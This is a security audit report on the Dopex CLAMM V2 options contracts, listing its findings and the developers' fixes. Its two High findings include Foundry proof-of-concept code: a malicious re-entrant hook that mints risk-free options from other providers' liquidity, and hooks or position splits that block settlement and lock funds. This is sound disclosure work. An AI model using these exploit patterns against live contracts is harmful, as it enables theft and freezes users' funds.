yAudit Dopex CLAMM V2 Review

Review Resources:

- The prior yAudit report and its review resources

Auditors:

- Jackson
- HHK

Table of Contents

1. Review Summary
2. Scope
3. Code Evaluation Matrix
4. Findings Explanation
5. Critical Findings
6. High Findings
    a. 1. High - Re-entrancy in `mintOption()` and missing check in `withdrawReserveLiquidity()` allows minting risk-free options and DOS liquidity
    b. 2. High - Inability to select which position to settle can lead to DOS of ability to settle options
7. Low Findings
    a. 1. Low - Unnecessary division that can result in precision loss in `_getPremiumAmount()`
    b. 2. Low - No limits on the amount of position to mint an option from in `mintOption()`
    c. 3. Low - `_convertToAssets()` can return 1 extra WEI of liquidity and lead to underflow
8. Gas Saving Findings
    a. 1. Gas - Unused imports

b 2. Gas - Cache the `ownerOf()` in `exerciseOption()` and `positionSplitter()`

c 3. Gas - Cache `opTick` in `exerciseOption()` and `settleOption()`

d 4. Gas - `tokenId` is computed multiple times in `mintPosition()` and `burnPosition()`

e 5. Gas - `getAmountsForLiquidity()` is called multiple times in `donateToPosition()` and `mintPosition()`

f 6. Gas - Cache `tki` throughout the `UniswapV3SingleTickLiquidityHandlerV2` contract

g 7. Gas - Hardcode `FEE_PERCENT_PRECISION * 100` in fee strategy contract

9 Informational Findings

a 1. Informational - `BoundedTTLHook_0day`'s `onPositionUse` can be `pure`

b 2. Informational - Incorrect `abi.decode()` parameter in `BoundedTTLHook_0day`'s `onPositionUse()`

c 3. Informational - Incorrect function parameter name in `IERC6906`'s `setOperator()`

d 4. Informational - Allow minimum `tokensOwed` to be configurable in `UniswapV3SingleTickLiquidityHandlerV2`

e 5. Informational - Missing events in `reserveLiquidity()` and `withdrawReserveLiquidity()`

f 6. Informational - Code repetition in `burnPositionHandler()` and `reserveLiquidity()`

g 7. Informational - Code repetition in `tokensToPullForMint()`, `tokensToPullForUnUse()`, and `tokensToPullForDonate()`

h 8. Informational - `uniswapV3MintCallback()` will not work on some layer 2s like ZKSync Era

10 Final remarks

Review Summary

Dopex CLAMM V2

The updates pertinent to this review centered around 5 primary features added to the protocol that had been audited previously by yAudit.

It includes:

- Pre and post-liquidity use “hooks”, which allow users to implement additional functionality on top of the protocol when options are minted, settled, or exercised.
- A new handler to integrate with PancakeSwap in addition to Uniswap.

- Reserved liquidity, which allows an option provider to mark their liquidity unavailable for future use.
- Allowing settlers to settle options with liquidity that spans multiple tick ranges.
- Migration away from ERC1155 in favor of the simpler ERC6909, and a more gas efficient ERC721 implementation.

The contracts of the `dopex-v2-clamm` repo's `feat/handler_auto_withdraw` branch were reviewed over 8 days. The code review was performed by 2 auditors between January 22, 2024 and January 31, 2024. The repository was not under active development during the review, and the review was limited to the latest commit at the start of the review. This was commit cb11bee1fa96da657f69a02f7e205138e567b0df of the `dopex-v2-clamm` repo.

Scope

The scope of the review consisted of the following contracts at the specific commit:

```
src/
├── DopexV2OptionMarketV2.sol
├── DopexV2PositionManager.sol
├── handlers
│   ├── PancakeV3SingleTickLiquidityHandlerV2.sol
│   ├── UniswapV3SingleTickLiquidityHandlerV2.sol
│   └── hooks
│       └── BoundedTTLHook_0day.sol
├── interfaces
│   ├── IERC6909.sol
│   ├── IHook.sol
├── libraries
│   └── tokens
│       ├── ERC6909.sol
│       └── ERC721.sol
├── pancake-v3
│   ├── LiquidityManager.sol
│   ├── v3-core
│   │   └── contracts
│   │       └── interfaces
│   │           ├── IERC20Minimal.sol
│   │           ├── IPancakeV3Factory.sol
│   │           ├── IPancakeV3Pool.sol
│   │           ├── IPancakeV3PoolDeployer.sol
│   │           ├── callback
│   │           │   ├── IPancakeV3FlashCallback.sol
│   │           │   ├── IPancakeV3MintCallback.sol
│   │           │   └── IPancakeV3SwapCallback.sol
│   │           └── pool
│   │               ├── IPancakeV3PoolActions.sol
│   │               ├── IPancakeV3PoolDerivedState.sol
│   │               ├── IPancakeV3PoolEvents.sol
│   │               ├── IPancakeV3PoolImmutables.sol
│   │               ├── IPancakeV3PoolOwnerActions.sol
│   │               └── IPancakeV3PoolState.sol
```

```
│   └── v3-periphery
│       └── libraries
│           ├── CallbackValidation.sol
│           └── PoolAddress.sol
├── pricing
    ├── IOptionPricingV2.sol
    └── fees
        ├── DopexV2ClammFeeStrategyV2.sol
        └── IDopexV2ClammFeeStrategyV2.sol
```

After the findings were presented to the Dopex team, fixes were made and included in several PRs.

This review is a code review to identify potential vulnerabilities in the code. The reviewers did not investigate security practices or operational security and assumed that privileged accounts could be trusted. The reviewers did not evaluate the security of the code relative to a standard or specification. The review may not have identified all potential attack vectors or areas of vulnerability.

yAudit and the auditors make no warranties regarding the security of the code and do not warrant that the code is free from defects. yAudit and the auditors do not represent nor imply to third parties that the code has been audited nor that the code is free from defects. By deploying or using the code, Dopex and users of the contracts agree to use the code at their own risk.

Code Evaluation Matrix

Category	Mark	Description
Access Control	Good	There are no major changes to access control in the new code. The hooks are permissionless.
Mathematics	Good	None of the new code has complex mathematics.
Complexity	Average	While the individual changes are not complex, they interact with one another in unintended ways, increasing the complexity.

Category	Mark	Description
Libraries	Good	In the case of ERC1155, the team changed to a simpler ERC standard, in the case of ERC721, the team migrated to a more gas-efficient implementation.
Decentralization	Good	The in-scope new code is open to all users, except the settling code. However, there are plans to open this to all users as well.
Code stability	Good	No code changes were made during the audit, changes related to the issues were reviewed in isolation.
Documentation	Average	There was no new documentation related to the new code, however, documentation for the whole protocol from the prior audit is still relevant and useful.
Monitoring	Average	Some new code did not emit events as is evident by the informational finding below.
Testing and verification	Average	There has been an increase in tests since the last audit. However, not all the new tests cover all edge cases, and some are missing assertions. We were unable to generate a coverage report due to stack too deep errors during compilation.

Findings Explanation

Findings are broken down into sections by their respective impact:

- Critical, High, Medium, Low impact
  - These are findings that range from attacks that may cause loss of funds, impact control/ownership of the contracts, or cause any unintended consequences/actions that are outside the scope of the requirements.
- Gas savings
  - Findings that can improve the gas efficiency of the contracts.
- Informational
  - Findings including recommendations and best practices.

Critical Findings

None.

High Findings

1. High - Re-entrancy in `mintOption()` and missing check in `withdrawReserveLiquidity()` allows minting risk-free options and DOS liquidity

The `mintOption()` function allows to specify a `hook`, this `hook` can make a callback into the `reserveLiquidity()` function of the `UniswapV3SingleTickLiquidityHandlerV2` contract to mint risk-free options.

Technical Details

The `UniswapV3SingleTickLiquidityHandlerV2` contract allows specifying a `hook` when adding liquidity and minting options.

The `hook` will impact the calculated `tokenId`, this is needed so that if you specify a `hook` when minting an option you only get to use the liquidity that used this `hook` as well.

The `UniswapV3SingleTickLiquidityHandlerV2` is usually not called directly, only the whitelisted `positionManager` and `optionMarket` can call it directly, these two contracts have a re-entrancy check. There is an exception, the functions `reserveLiquidity()` and `withdrawReserveLiquidity()` can be called directly on the `UniswapV3SingleTickLiquidityHandlerV2` contract.

When we mint an option calling the `mintOption()` function, it calls the function `usePositionHandler()` from the `UniswapV3SingleTickLiquidityHandlerV2` contract for each liquidity position we want to borrow from to create back our option.

During this sub call, we check that there is enough liquidity available and then the `hook` specified by the liquidity provider is called. This is where an issue can arise, the `hook` can potentially execute a re-entrancy by calling `reserveLiquidity()` or `withdrawReserveLiquidity()` as they are not protected from re-entrancy.

The `withdrawReserveLiquidity()` doesn’t check that the liquidity to be withdrawn is available, it just assumes that the `pool.burn()` will revert if the liquidity is not available.

Now that we know that, we can create a scenario where we're able to mint "risk-free" options using our liquidity thus earning the premium paid but when exercising we can use other user's liquidity.

The attack looks like this:

- We start by adding liquidity at a range where there are other LPs and send the shares to a malicious `hook`
- We mint an option using the malicious `hook` in the params, thus using our liquidity added previously and sending the premium to this same tokenId. We set an expiry to 12 hours.
- When the `hook` is called by the `UniswapV3SingleTickLiquidityHandlerV2` contract, we do a callback into the `reserveLiquidity()` function and reserve our whole liquidity minus 1 WEI.
- We receive our option and wait 6 hours, now we can call `withdrawReserveLiquidity()` from our `hook` to receive most of our liquidity.
- Once expiry is reached we can exercise the option or settle, if we exercise we get tokens from other LPs providing liquidity at the same range.
- We wait 100 blocks and withdraw the last WEI of liquidity, getting the premium paid earlier.

Here is a POC that can be copied and pasted in `DopexV2OptionMarketV2.t.sol`, need to add a `tts` of 12 hours in the `setUp()`:

```
contract MaliciousHook {
    UniswapV3SingleTickLiquidityHandlerV2 immutable uniV3Handler;
    UniswapV3SingleTickLiquidityHandlerV2.BurnPositionParams burnParams;

    constructor(address _handler) {
        uniV3Handler = UniswapV3SingleTickLiquidityHandlerV2(_handler);
  }

    function setBurn(UniswapV3SingleTickLiquidityHandlerV2.BurnPositionParams memory
_burnParams) external {
        burnParams = _burnParams;
    }

    function onPositionUse(bytes calldata _data) external {
        uniV3Handler.reserveLiquidity(abi.encode(burnParams));
    }

    function withdrawReserved() external {
       uniV3Handler.withdrawReserveLiquidity(abi.encode(burnParams));
    }

    function onPositionUnUse(bytes calldata _data) external {}
}

function testBuyCallOptionAndWithdrawCollateral() public {
        //create and deploy attacker
        address attacker = makeAddr("attacker");
        MaliciousHook maliciousHook = new MaliciousHook(address(uniV3Handler));

        //this is a helper contract that mints a position for the user of our choice, we
mint liquidity for the malicious hook
        //In reality we would have to add the functionality to the hook or mint and then
transfer but thanks to this helper contract we don't need to
        uint shares = positionManagerHarness.mintPosition(
            token0,
```

```
            token1,
            0,
            5e18,
            -76260, // ~2050,
            -76250, // ~2048,
            pool,
            address(maliciousHook),
            address(maliciousHook)
        );

        //set the burn struct corresponding to liquidity minted on our hook for the
callback
        maliciousHook.setBurn(UniswapV3SingleTickLiquidityHandlerV2.BurnPositionParams({
            pool: pool,
            hook: address(maliciousHook),
            tickLower: -76260,
            tickUpper: -76250,
            shares: uint128(shares - 1)
        }));

        //setup the option minting, just copy-pasted one of the tests and modified with
the malicious hook
        {
            uint256 l = LiquidityAmounts.getLiquidityForAmount1(
                tickLowerCalls.getSqrtRatioAtTick(),
                tickUpperCalls.getSqrtRatioAtTick(),
                5e18 - 1
            );
            DopexV2OptionMarketV2.OptionTicks[]
                memory opTicks = new DopexV2OptionMarketV2.OptionTicks[](1);
            opTicks[0] = DopexV2OptionMarketV2.OptionTicks({
                _handler: uniV3Handler,
                pool: pool,
                hook: address(maliciousHook), //malicious hook
                tickLower: tickLowerCalls,
                tickUpper: tickUpperCalls,
```

```
            liquidityToUse: l
        });

        //mint some tokens to the attacker to pay the option fee
        vm.startPrank(attacker);
        token1.mint(attacker, 100 ether);
        token1.approve(address(optionMarket), 100 ether);

        //mint our option
        optionMarket.mintOption(
            DopexV2OptionMarketV2.OptionParams({
                optionTicks: opTicks,
                tickLower: tickLowerCalls,
                tickUpper: tickUpperCalls,
                ttl: 12 hours,
                isCall: true,
                maxCostAllowance: 100 ether
            })
        );
        vm.stopPrank();
    }

    //we wait 6 hours and can withdraw our liquidity
    skip(6 hours);
    maliciousHook.withdrawReserved();

    //price moves
    uniswapV3TestLib.performSwap(
        UniswapV3TestLib.SwapParamsStruct({
            user: garbage,
            pool: pool,
            amountIn: 400000e18, // pushes to 2078
            zeroForOne: true,
            requireMint: true
        })
    );
```

```
        //attacker exercise the option
        ISwapper[] memory swappers = new ISwapper[](1);
        swappers[0] = srs;

        bytes[] memory swapData = new bytes[](1);
        swapData[0] = abi.encode(pool.fee(), 0);

        (,,,,,uint256 liquidityToUse) = optionMarket.opTickMap(1, 0);

        uint256[] memory liquidityToExercise = new uint256[](1);
        liquidityToExercise[0] = liquidityToUse;

        uint256 balanceBeforeExercise = token0.balanceOf(attacker);

        vm.startPrank(attacker);
        optionMarket.exerciseOption(
            DopexV2OptionMarketV2.ExerciseOptionParams({
                optionId: 1,
                swapper: swappers,
                swapData: swapData,
                liquidityToExercise: liquidityToExercise
            })
        );
        vm.stopPrank();
        //Attacker received profits
        assertGt(token0.balanceOf(attacker), balanceBeforeExercise);

        //after 100 blocks malicious hook can withdraw the last wei of LPs which will
get him the fees paid for the option earlier
        vm.roll(block.number + 99);

        vm.prank(address(maliciousHook));
        positionManager.burnPosition(uniV3Handler,
abi.encode(UniswapV3SingleTickLiquidityHandlerV2.BurnPositionParams({
            pool: pool,
```

```
            hook: address(maliciousHook),
            tickLower: -76260,
            tickUpper: -76250,
            shares: 1
        })));
    }
```

Additionally, because the liquidity used when minting the option is liquidity from other users, we could make the malicious `hook` revert on `onPositionUnUse()` which would not let the Dopex team settle the option, resulting in the liquidity of other users not added back thus would revert when they try to withdraw.

Dopex team would have to call the `emergencyWithdraw()` to reimburse them.

Impact

High. Allows an attacker to mint risk-free options at the expense of other users and DOS their liquidity.

Recommendation

Consider 2 changes:

- Moving the `if ((tki.totalLiquidity - tki.liquidityUsed) < _params.liquidityToUse)` on line 698 check after calling the `hook`.
- Adding a check in `withdrawReserveLiquidity()` that make sure we can't withdraw the liquidity used.

Developer Response

Fix - https://github.com/dopex-io/dopex-v2-clamm/pull/20/commits/631f2caeeaef48b56dab3ab533d0ce2bab8aefd1 & https://github.com/dopex-io/dopex-v2-clamm/commit/c8c5c1c3ce850e8d521551fca5c4a566c61d1704 & https://github.com/dopex-io/dopex-v2-clamm/commit/9c82748a2b0ce978698951de3653b0065c7105a9.

2. High - Inability to select which position to settle can lead to DOS of ability to settle options

2 cases have been found where it is needed to be able to select which position to settle:

- When a trader mints an option, he can decide from which liquidity positions to borrow from. When the option is settled it goes through all the liquidity positions to add the liquidity back and call the specified `hook` of the position.

If one of the positions reverts during the call to `unusePositionHandler()` then the whole call fails making settling the option impossible and thus locking liquidity providers funds.

- When settling an option, the contract tries to reinstate all the positions that were borrowed from, if one of the positions is worth 0 then it will make the call revert. By splitting a position and leaving a 0 position in the previous option this same option will be impossible to settle, and thus the liquidity will be locked.

Technical Details

In the `mintOption()` function a trader can pass multiple liquidity positions to borrow from. Each position can have its own `hook`, usually a user will borrow only from a position with a safe `hook`.

Case 1:

When the option expires, the `settleOption()` function is called by Dopex to add the liquidity back to each position that was borrowed from. It happens inside a loop that will call `unusePosition()` on the `positionManager` contract that then call the `unusePositionHandler()` function on the `UniswapV3SingleTickLiquidityHandlerV2` contract.

During this subcall, the `hook` specified for the liquidity position is called through the `onPositionUnUse()` function. An issue can arise if one of the subcall to a `hook` was to revert then the whole transaction would revert and Dopex wouldn’t be able to settle the option.

Knowing this we can create an attack scenario that will lock user’s positions:

- An attacker adds a very small amount of liquidity using a malicious hook that reverts on `onPositionUnUse()`.
- Then like a trader, the attacker mints an option using multiple liquidity positions, mostly legit positions, and includes his malicious one.
- The option expires, and Dopex tries to settle it but during the loop, the call reverts when trying to reinstate the liquidity of the attacker.

This results in the whole option's liquidity being locked and not only the attacker's. It comes at a cost for the attacker, but it can be fairly small if the option uses a very short `ttl` like 20 minutes or less.

Additionally, the attacker could make it in sort that the malicious `hook` reverts only on settling the position and not when exercising it, effectively creating some kind of "rage option" where when he wins the attack doesn't happen but when he loses then everyone loses.

Here is a POC that can be copied and pasted in DopexV2OptionMarketV2.t.sol:

```
contract MaliciousHookRevertOnUnuse {
    function onPositionUse(bytes calldata _data) external {

    }

    function onPositionUnUse(bytes calldata _data) external {revert("maliciousHook");}
}

function testSettleOptionReverts() public {
        //setup attacker and evil hook
        address attacker = makeAddr("attacker");
        MaliciousHookRevertOnUnuse maliciousHook = new MaliciousHookRevertOnUnuse();

        //add very small liquidity (0.01 ether) for our evil hook
        uint shares = positionManagerHarness.mintPosition(
            token0,
            token1,
            0,
            1e16,
            tickLowerCalls, // ~2050,
            tickUpperCalls, // ~2048,
            pool,
            address(maliciousHook),
            attacker
        );



        //setup the option minting, just copy pasted one of the tests and modified with
the malicious hook
        {
            uint256 l = LiquidityAmounts.getLiquidityForAmount1(
                tickLowerCalls.getSqrtRatioAtTick(),
                tickUpperCalls.getSqrtRatioAtTick(),
                5e18 - 1
            );
```

```
DopexV2OptionMarketV2.OptionTicks[]
    memory opTicks = new DopexV2OptionMarketV2.OptionTicks[](2);
//malicious liquidity
opTicks[0] = DopexV2OptionMarketV2.OptionTicks({
    _handler: uniV3Handler,
    pool: pool,
    hook: address(maliciousHook), //malicious hook
    tickLower: tickLowerCalls,
    tickUpper: tickUpperCalls,
    liquidityToUse: shares
});
//legit liquidity
opTicks[1] = DopexV2OptionMarketV2.OptionTicks({
    _handler: uniV3Handler,
    pool: pool,
    hook: hook,
    tickLower: tickLowerCalls,
    tickUpper: tickUpperCalls,
    liquidityToUse: l
});

//mint some tokens to the attacker to pay the option fee
vm.startPrank(attacker);
token1.mint(attacker, 100 ether);
token1.approve(address(optionMarket), 100 ether);

//mint our option
optionMarket.mintOption(
    DopexV2OptionMarketV2.OptionParams({
        optionTicks: opTicks,
        tickLower: tickLowerCalls,
        tickUpper: tickUpperCalls,
        ttl: 20 minutes,
        isCall: true,
        maxCostAllowance: 100 ether
```

```
            })
        );
        vm.stopPrank();
    }

    vm.warp(block.timestamp + 1201 seconds);
    uint256 optionId = 1;

    (,,,,,uint256 liquidityToUse) = optionMarket.opTickMap(1, 0);
    (,,,,,uint256 liquidityToUse2) = optionMarket.opTickMap(1, 1);

    uint256[] memory liquidityToSettle = new uint256[](2);
    liquidityToSettle[0] = liquidityToUse;
    liquidityToSettle[1] = liquidityToUse2;

    bytes[] memory swapData = new bytes[](2);
    swapData[0] = abi.encode(pool.fee(), 0);
    swapData[1] = abi.encode(pool.fee(), 0);

    ISwapper[] memory swappers = new ISwapper[](2);
    swappers[0] = srs;
    swappers[1] = srs;

    //settling will revert because of the malicious hook
    vm.expectRevert("maliciousHook");
    optionMarket.settleOption(
        DopexV2OptionMarketV2.SettleOptionParams({
            optionId: optionId,
            swapper: swappers,
            swapData: swapData,
            liquidityToSettle: liquidityToSettle
        })
    );
}
```

Case 2:

The `positionSplitter()` function allows a trader so split his option into two options. Each liquidity position is split so the total of both options equals the initial position's liquidity. The trader can choose to split into the new option between 1 to the full amount of the position's liquidity leaving 0 liquidity for the same position in the initial option.

When the option expires, the `settleOption()` function is called by Dopex to add the liquidity back to each position that was borrowed from. Each position can be fully reinstated or partially, but the amount must be greater than 0 or the Uniswap call to mint liquidity will revert and the whole transaction with it.

This is where a problem arises. If a trader fully splits one of his option's liquidity position into the new option then the amount to be reinstated for the initial option will be 0. Thus making the settlement of the option impossible and locking the liquidity provider's liquidity.

Here is an example:

- Trader mints an option using 2 liquidity positions. First represents 90% of the liquidity and belongs to user A and second represents 10% and belongs to user B.
- The market price didn't reach the strike price, and the trader is angry, he splits his option into 2 by calling `positionSplitter()`. Puts 1 WEI from the first position and the whole amount from the second position into the new option.
- Dopex now tries to settle both options, the second option can be settled just fine but the first option that has liquidity of user A - 1 will not be settled as the call will revert when the loop tries to settle the second position that is now 0 as it was transferred into the second option.
- Our trader effectively locked the liquidity of user A, and Dopex will have to do an emergency withdrawal.

Here is a POC that can be copied and pasted in DopexV2OptionMarketV2.t.sol:

```
function testSettleOptionRevertsAfterSplit() public {
        //setup attacker
        address attacker = makeAddr("attacker");

        //add very small liquidity (0.01 ether) that belongs to the attacker
        uint shares = positionManagerHarness.mintPosition(
            token0,
            token1,
            0,
            1e16,
            tickLowerCalls, // ~2050,
            tickUpperCalls, // ~2048,
            pool,
            hook,
            attacker
        );

        //setup the option minting, just copy-pasted one of the tests and modified
        {
            uint256 l = LiquidityAmounts.getLiquidityForAmount1(
                tickLowerCalls.getSqrtRatioAtTick(),
                tickUpperCalls.getSqrtRatioAtTick(),
                5e18 - 1
            );

            DopexV2OptionMarketV2.OptionTicks[]
                memory opTicks = new DopexV2OptionMarketV2.OptionTicks[](2);
            //attacker's liquidity
            opTicks[0] = DopexV2OptionMarketV2.OptionTicks({
                _handler: uniV3Handler,
                pool: pool,
                hook: hook,
                tickLower: tickLowerCalls,
                tickUpper: tickUpperCalls,
                liquidityToUse: shares
```

```
            });
            //legit liquidity
            opTicks[1] = DopexV2OptionMarketV2.OptionTicks({
                _handler: uniV3Handler,
                pool: pool,
                hook: hook,
                tickLower: tickLowerCalls,
                tickUpper: tickUpperCalls,
                liquidityToUse: l
            });

            //mint some tokens to the attacker to pay the option fee
            vm.startPrank(attacker);
            token1.mint(attacker, 0.08 ether);
            token1.approve(address(optionMarket), 0.08 ether);

            //mint our option
            optionMarket.mintOption(
                DopexV2OptionMarketV2.OptionParams({
                    optionTicks: opTicks,
                    tickLower: tickLowerCalls,
                    tickUpper: tickUpperCalls,
                    ttl: 20 minutes,
                    isCall: true,
                    maxCostAllowance: 0.08 ether
                })
            );
            vm.stopPrank();
        }

        uint256[] memory toSplit = new uint256[](2);
        toSplit[0] = shares;
        toSplit[1] = 1;

        //split the option, send the attacker liquidity to the new option and only 1 wei
from the legit liquidity
```

```
    vm.prank(attacker);
    optionMarket.positionSplitter(DopexV2OptionMarketV2.PositionSplitterParams({
        optionId: 1,
        to: attacker,
        liquidityToSplit: toSplit
    }));

    vm.warp(block.timestamp + 1201 seconds);

    (,,,,,uint256 liquidityToUse) = optionMarket.opTickMap(1, 0);
    (,,,,,uint256 liquidityToUse2) = optionMarket.opTickMap(1, 1);

    uint256[] memory liquidityToSettle = new uint256[](2);
    liquidityToSettle[0] = liquidityToUse;
    liquidityToSettle[1] = liquidityToUse2;

    bytes[] memory swapData = new bytes[](2);
    swapData[0] = abi.encode(pool.fee(), 0);
    swapData[1] = abi.encode(pool.fee(), 0);

    ISwapper[] memory swappers = new ISwapper[](2);
    swappers[0] = srs;
    swappers[1] = srs;

    //settling will revert because we can't burn 0 liquidity
    //vm.expectRevert("maliciousHook");
    optionMarket.settleOption(
        DopexV2OptionMarketV2.SettleOptionParams({
            optionId: 1,
            swapper: swappers,
            swapData: swapData,
            liquidityToSettle: liquidityToSettle
        })
    );
}
```

Impact

High. The attack comes at a cost for the attacker which makes it unlikely to happen but not impossible as a short option results in a low premium price. Additionally, if a legit trader wasn't able to exercise because the price didn't reach strike then he could turn into an attacker for "free" as he already paid the premium.

Recommendation

Consider allowing `settleOption()` to only partially close the option by changing the check to `if (_params.liquidityToSettle[i] == 0) continue;` on line 506, so it doesn't interact with an evil hook or an empty liquidity position and directly goes to the next one.

Developer Response

Fix - https://github.com/dopex-io/dopex-v2-clamm/pull/20/commits/aba9fd1c5914c486da7fcaf3b4a28a47edd2354d.

Low Findings

1. Low - Unnecessary division that can result in precision loss in `_getPremiumAmount()`

Technical Details

The function `_getPremiumAmount()` calculates the premium to be paid by the trader when minting an option. When minting a call option, the function divides the option price by `10 ** callAssetDecimals` and then later multiplies the result by the same value `10 ** callAssetDecimals`.

This uses extra gas and can result in a precision loss in the initial division.

Impact

Low. Uses extra gas and can result in precision loss.

Recommendation

Consider not dividing by `10 ** callAssetDecimals` on line 783 nor multiplying by `10 ** callAssetDecimals` on line 788 when it's a call option.

Developer Response

Acknowledged. Keeping as is because of a convention for `getOptionPrice()`.

2. Low - No limits on the amount of position to mint an option from in `mintOption()`

Technical Details

The function `mintOption()` allows to mint an option using multiple liquidity positions, there are currently no limits on the amount of position that can be used. The only theoretical limit is the gas limit of a block that would make the transaction revert.

While this is not an issue in itself, it is considered unsafe, multiple issues can arise from not limiting the amount of position to borrow from, e.g. could result in being unable to settle an option because it would cost too much gas or not be worth it compared to the gas spent.

Additionally, it seems unlikely that a normal user needs to borrow from many positions, e.g. 20 positions to mint his option.

Impact

Low.

Recommendation

Consider adding a new constant `MAX_OPTION_TICKS_LENGTH` and set it to a "safe" amount, e.g. 5 or 10.

Developer Response

Fix - https://github.com/dopex-io/dopex-v2-clamm/pull/20/commits/1b5aa6c51a0183e89bc585b5b2cfb938ae1f15e7.

3. Low - `_convertToAssets()` can return 1 extra WEI of liquidity and lead to underflow

Technical Details

When a user is the only one depositing into his range and hook, he will be the only one with a given token id. On first deposit, the function `mintPositionHandler` will give the amount of liquidity deposited as shares. So if you deposit 1e18 of liquidity you get 1e18 shares.

Then when withdrawing, the function `burnPositionHandler()` will call the internal function `_convertToAssets` to get the value of your share, but if no one else deposited then the `totalSupply` will be equal to your shares. The resulting calculation of the function using our 1e18 shares and liquidity is: `1e18 * (1e18 + 1) / 1e18 = 1e18+1`.

The function returned one extra WEI of liquidity which will lead to an underflow when updating the internal balance.

Impact

Low. UX issue as the user might have to withdraw 1 less share. Additionally, having an issue affecting internal balances and share values is unsafe as it opens the contracts to new attack vectors.

Recommendation

Consider removing `totalLiquidity + 1` in `_convertToAssets()`, but keep it in `_convertToShares()`, so we round in favor of the vault.

Developer Response

Acknowledged. The user will withdraw everything minus one share in that case to avoid the share/amount reset issue.

Gas Saving Findings

1. Gas - Unused imports

Technical Details

IERC20Metadata in `DopexV2ClammFeeStrategyV2`, ABDKMathQuad in `OptionPricingV2`, and `IERC6909` in `ERC6906` are imported and not used.

Impact

Gas.

Recommendation

Remove the unused imports.

Developer Response

Fix - https://github.com/dopex-io/dopex-v2-clamm/pull/20/commits/92f69c8821979a66d8cfdfeb6c720d4b82061640.

2. Gas - Cache the `ownerOf()` in `exerciseOption()` and `positionSplitter()`

Technical Details

The `ownerOf()` method is called up to 3 times in the `exerciseOption()` function and twice in `positionSplitter()`, on every call it reads the storage which is not optimal, caching in memory would save multiple `sload`.

Impact

Gas.

Recommendation

Consider caching the `ownerOf()` in memory.

Developer Response

Acknowledged.

3. Gas - Cache `opTick` in `exerciseOption()` and `settleOption()`

Technical Details

The `opTick` struct is read from `opTickMap` mapping in `exerciseOption()` and `settleOption()`. Some variables of this struct are accessed multiple times like the `tickLower` and `tickUpper`. Caching them or caching the whole struct since every variable is accessed at least once at some point would save some `sload`.

Impact

Gas.

Recommendation

Consider caching the struct or caching the variables that get accessed multiple times and use storage only at the end to update the variable.

Developer Response

Acknowledged.

4. Gas - `tokenId` is computed multiple times in `mintPosition()` and `burnPosition()`

Technical Details

The functions `mintPosition()` and `burnPosition()` from the `DopexV2PositionManager` contract compute the `tokenId` multiple times as they first call the `getHandlerIdentifier()` method on the Handler contract and then later when minting or burning liquidity the handler is computing the `tokenId` again.

Impact

Gas.

Recommendation

Consider returning the `tokenId` in `mintPositionHandler()` and `burnPositionHandler()`, so the position manager doesn't have to re-compute them.

Developer Response

Acknowledged.

5. Gas - `getAmountsForLiquidity()` is called multiple times in `donateToPosition()` and `mintPosition()`

Technical Details

The amount of tokens to add liquidity is computed multiple times in `donateToPosition()` and `mintPosition()`. It is first computed through `tokensToPullForMint()` call to the handler and then computed again in the handler when donating/minting the liquidity.

Impact

Gas.

Recommendation

Consider passing the amounts needed in the params of the call to the handler so the `getAmountsForLiquidity()` is called only once.

Developer Response

Acknowledged.

6. Gas - Cache `tki` throughout the `UniswapV3SingleTickLiquidityHandlerV2` contract

Technical Details

The `tki` variable is set to `storage` in the different functions of the `UniswapV3SingleTickLiquidityHandlerV2`, but it is only updated partially although read multiple times. This results in an extra `sload` that could be removed by caching the variable in memory until we need to update it.

Impact

Gas.

Recommendation

Make `tki` memory or cache some of its variables that won't be updated and are read multiple times.

Developer Response

Acknowledged.

7. Gas - Hardcode `FEE_PERCENT_PRECISION * 100` in fee strategy contract

Technical Details

The fee strategy contract calculates the percentage of fees by doing `FEE_PERCENT_PRECISION * 100`, we could hardcode the `* 100` directly into `FEE_PERCENT_PRECISION` and save a multiplication.

Impact

Gas.

Recommendation

Hardcode `FEE_PERCENT_PRECISION * 100` into a new constant or just increase `FEE_PERCENT_PRECISION` by `1e2`.

Developer Response

Acknowledged.

Informational Findings

1. Informational - `BoundedTTLHook_0day`'s `onPositionUse` can be `pure`

Technical Details

`onPositionUse()` in `BoundedTTLHook_0day.sol` can be made pure.

Impact

Informational.

Recommendation

Add the pure modifier to `onPositionUse()` to indicate that no state is mutated during the function execution.

Developer Response

Acknowledged.

2. Informational - Incorrect `abi.decode()` parameter in `BoundedTTLHook_0day`'s `onPositionUse()`

Technical Details

In `BoundedTTLHook_0day`'s `onPositionUse()` `uint256` is used as the first parameter in the `abi.decode()` call. However, in `DopexV2OptionMarketV2`'s `mintOption()`, where the parameters are being encoded, the first parameter is of the `address` type.

Impact

Informational.

Recommendation

Update the first parameter of `abi.decode()` to match the type being passed in from `DopexV2OptionMarketV2`'s `mintOption()`.

Developer Response

Fix - https://github.com/dopex-io/dopex-v2-clamm/pull/20/commits/869565f7f1289ca4ab83ffcd9582b0c2ad8b7e7a.

3. Informational - Incorrect function parameter name in `IERC6906`'s `setOperator()`

Technical Details

The first parameter in `IERC6906`'s `setOperator()` is called `spender`. However, in the ERC6909 implementation, this parameter is called `operator`.

Impact

Informational.

Recommendation

Make `IERC6906`'s `setOperator()` parameter `operator`.

Developer Response

Fix - https://github.com/dopex-io/dopex-v2-clamm/pull/20/commits/22cb7e89cf4b6a676242bd428528ebfc4c8a2b8e.

4. Informational - Allow minimum `tokensOwed` to be configurable in `UniswapV3SingleTickLiquidityHandlerV2`

Technical Details

`1_000` is hardcoded as a minimum amount for either `tokensOwed0` or `tokensOwed1` before compounding fees. This works for the majority of cases in practice, but if cases are discovered after deployment where this is not the correct value a new handler will need to be deployed to change this value.

Impact

Informational.

Recommendation

Allow the admin to configure this minimum `tokensOwed` value, rather than hardcoding it in case it needs to be changed in the future.

Developer Response

Acknowledged. This is not needed, as the value is much less and if it is needed, we would deploy a new handler.

5. Informational - Missing events in `reserveLiquidity()` and `withdrawReserveLiquidity()`

There are no events emitted in `reserveLiquidity()` and `withdrawReserveLiquidity()`.

Technical Details

`reserveLiquidity()` and `withdrawReserveLiquidity()` do not emit events.

This is in contrast to `burnPositionHandler()`, which emits a LogBurnedPosition event immediately after calling `_burn()`. Although `reserveLiquidity()` calls `_burn()`, there is no event emitted.

Impact

Informational.

Recommendation

Add events to `reserveLiquidity()` and `withdrawReserveLiquidity()` to maintain the same level of traceability as other similar functions.

Developer Response

Fix - https://github.com/dopex-io/dopex-v2-clamm/pull/20/commits/e625e7152a37015fea711ea7ea805b3fd88ec3d0 & https://github.com/dopex-io/dopex-v2-clamm/pull/20/commits/1385efa90b247de1c6a18c4ec6f5917f5464842e.

